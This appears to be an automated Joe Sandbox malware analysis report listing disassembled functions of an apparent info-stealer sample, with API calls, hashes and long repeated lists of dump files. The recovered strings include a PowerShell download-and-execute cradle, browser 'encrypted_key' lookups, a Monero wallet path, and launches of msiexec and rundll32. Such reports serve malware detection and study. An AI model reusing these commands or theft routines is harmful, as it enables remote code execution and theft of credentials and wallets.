Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 6e9432b3e309eb0c35b5da67641186c05be4eb3a9c9de3ac43bde0761a969d0f
Instruction ID: 5129b6327cadb7532a97ba44613a685c3ac9bff99f16ab4cf195f4a24b0d6cc0
Opcode Fuzzy Hash: 6e9432b3e309eb0c35b5da67641186c05be4eb3a9c9de3ac43bde0761a969d0f
Instruction Fuzzy Hash: 18515DB4A04209EFDB18DFA5D948BBE77B6FF44704F00804DE996AB248D778E941CB61

Function 01012E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

ShellExecuteEx.SHELL32(0000003C), ref: 010131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0101335D
ShellExecuteEx.SHELL32(0000003C), ref: 010134EA

Strings

/i ", xrefs: 010133E4
"" , xrefs: 0101309A
C:\Windows\system32\msiexec.exe, xrefs: 010134BF
C:\Windows\system32\rundll32.exe, xrefs: 01013332
/passive, xrefs: 0101345B
.msi, xrefs: 01013398
<, xrefs: 01013490
.dll, xrefs: 010131E5

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 4eef6f4592c70d2800c2c6ac00874f776d919951629c0d71a83eec63ab3368b4
Instruction ID: 9f0344c55323d132c384d635bf135b606743c406a7e5898bd4ae8af5dd0c6357
Opcode Fuzzy Hash: 4eef6f4592c70d2800c2c6ac00874f776d919951629c0d71a83eec63ab3368b4
Instruction Fuzzy Hash: 37121D71901149DADB19FBA0DD91FEEB738AF24310F504159E58667198EF382B8ECFA0

Function 010152C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 01006280: InternetOpenA.WININET(01020DFE,00000001,00000000,00000000,00000000), ref: 010062E1
Part of subcall function 01006280: StrCmpCA.SHLWAPI(?,0186E718), ref: 01006303
Part of subcall function 01006280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 01006335
Part of subcall function 01006280: HttpOpenRequestA.WININET(00000000,GET,?,0186DEE8,00000000,00000000,00400100,00000000), ref: 01006385
Part of subcall function 01006280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 010063BF
Part of subcall function 01006280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 010063D1

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01015318
lstrlen.KERNEL32(00000000), ref: 0101532F

Part of subcall function 01018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01018E52

StrStrA.SHLWAPI(00000000,00000000), ref: 01015364
lstrlen.KERNEL32(00000000), ref: 01015383
lstrlen.KERNEL32(00000000), ref: 010153AE

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Strings

ERROR, xrefs: 01015432
ERROR, xrefs: 0101546F
ERROR, xrefs: 010153B9
ERROR, xrefs: 0101530A
ERROR, xrefs: 010154A9

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 1ffbd54b819cc7739108674ef2fc06f51c1fd167eed788f6d405f4b5d64ced12
Instruction ID: a0ecfb71256971907f52b92babdbf04f34d9b68b7908e1a25748640e09902b91
Opcode Fuzzy Hash: 1ffbd54b819cc7739108674ef2fc06f51c1fd167eed788f6d405f4b5d64ced12
Instruction Fuzzy Hash: D7513030A1118ADBDB18FF60CD95AED7779AF20311F504018F8879B594EF386B0ACBA1

Function 010112D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 2f7202e18fc17f48a21286caa0d43ee3141da65a79418b9bf79440f0087e2dca
Instruction ID: b53957e914133b13e55d746953cb429d5bd135fead6f76d885b46e10ba7d91da
Opcode Fuzzy Hash: 2f7202e18fc17f48a21286caa0d43ee3141da65a79418b9bf79440f0087e2dca
Instruction Fuzzy Hash: B7C1B8B5A4121D9BCB14EF60DC88FDE7378BF64304F0045D9E54AA7245EB78AA85CF90

Function 01014280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

lstrcat.KERNEL32(?,00000000), ref: 010142EC
lstrcat.KERNEL32(?,0186DCF0), ref: 0101430B
lstrcat.KERNEL32(?,?), ref: 0101431F
lstrcat.KERNEL32(?,0186CC08), ref: 01014333

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 01018D90: GetFileAttributesA.KERNEL32(00000000,?,01001B54,?,?,0102564C,?,?,01020E1F), ref: 01018D9F

Part of subcall function 01009CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 01009D39

Part of subcall function 010099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 010099EC
Part of subcall function 010099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 01009A11
Part of subcall function 010099C0: LocalAlloc.KERNEL32(00000040,?), ref: 01009A31
Part of subcall function 010099C0: ReadFile.KERNEL32(000000FF,?,00000000,0100148F,00000000), ref: 01009A5A
Part of subcall function 010099C0: LocalFree.KERNEL32(0100148F), ref: 01009A90
Part of subcall function 010099C0: CloseHandle.KERNEL32(000000FF), ref: 01009A9A

Part of subcall function 010193C0: GlobalAlloc.KERNEL32(00000000,010143DD,010143DD), ref: 010193D3

StrStrA.SHLWAPI(?,0186DEB8), ref: 010143F3
GlobalFree.KERNEL32(?), ref: 01014512

Part of subcall function 01009AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,01004EEE,00000000,00000000), ref: 01009AEF
Part of subcall function 01009AC0: LocalAlloc.KERNEL32(00000040,?,?,?,01004EEE,00000000,?), ref: 01009B01
Part of subcall function 01009AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,01004EEE,00000000,00000000), ref: 01009B2A
Part of subcall function 01009AC0: LocalFree.KERNEL32(?,?,?,?,01004EEE,00000000,?), ref: 01009B3F

lstrcat.KERNEL32(?,00000000), ref: 010144A3
StrCmpCA.SHLWAPI(?,010208D1), ref: 010144C0
lstrcat.KERNEL32(00000000,00000000), ref: 010144D2
lstrcat.KERNEL32(00000000,?), ref: 010144E5
lstrcat.KERNEL32(00000000,01020FB8), ref: 010144F4

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 290af6391875a94f61d66049256106f94956f07bb0eea86d2793dd815b5d9afe
Instruction ID: 9c417beefa9392cef5513ddc541c8f6551afeb82ea07ba53bf53dcb80bd42e3c
Opcode Fuzzy Hash: 290af6391875a94f61d66049256106f94956f07bb0eea86d2793dd815b5d9afe
Instruction Fuzzy Hash: C47176B6D00209ABDB14EBF0DC89FDE7379BB58304F048598E64697184DB74DB45CB91

Function 01016770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 01016774
ExitProcess.KERNEL32 ref: 010167A5
ExitProcess.KERNEL32 ref: 010167AF
ExitProcess.KERNEL32 ref: 010167B9
ExitProcess.KERNEL32 ref: 010167C3
ExitProcess.KERNEL32 ref: 010167CD

Strings

*, xrefs: 0101678C

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: f514d1cca8c2d2aa011100ef876457be3ccbc2d4c1fbcdeed71a595baf092273
Instruction ID: 57179265e7cb2b1899184b01cc555a12acbe1316ce2e2a3aa2fe653d52b95828
Opcode Fuzzy Hash: f514d1cca8c2d2aa011100ef876457be3ccbc2d4c1fbcdeed71a595baf092273
Instruction Fuzzy Hash: 4CF03A34984209EFE368DFE0B90D76C7B70FB04702F040198F74B87284E6754A419B95

Function 0101C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 0101C8BF
___crtGetStringTypeA.LIBCMT ref: 0101C8EC
___crtLCMapStringA.LIBCMT ref: 0101C90C
___crtLCMapStringA.LIBCMT ref: 0101C931

Strings

, xrefs: 0101C896

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 89984183f4d4e1f9121e0d886c324cc977edc7f2a82e0ca8801700f2335fd914
Instruction ID: c90e9c9365ab2e9f7e4029ab457e46ff48de049d20718f53d1430f9fc7b4a356
Opcode Fuzzy Hash: 89984183f4d4e1f9121e0d886c324cc977edc7f2a82e0ca8801700f2335fd914
Instruction Fuzzy Hash: F441187114079C5EEB218B288D88FFB7BF9AB05304F1844E8D9CA86086D275DA44CF60

Function 01012C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

ShellExecuteEx.SHELL32(0000003C), ref: 01012D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 01012CC4
')", xrefs: 01012CB3
<, xrefs: 01012D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 01012D04

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
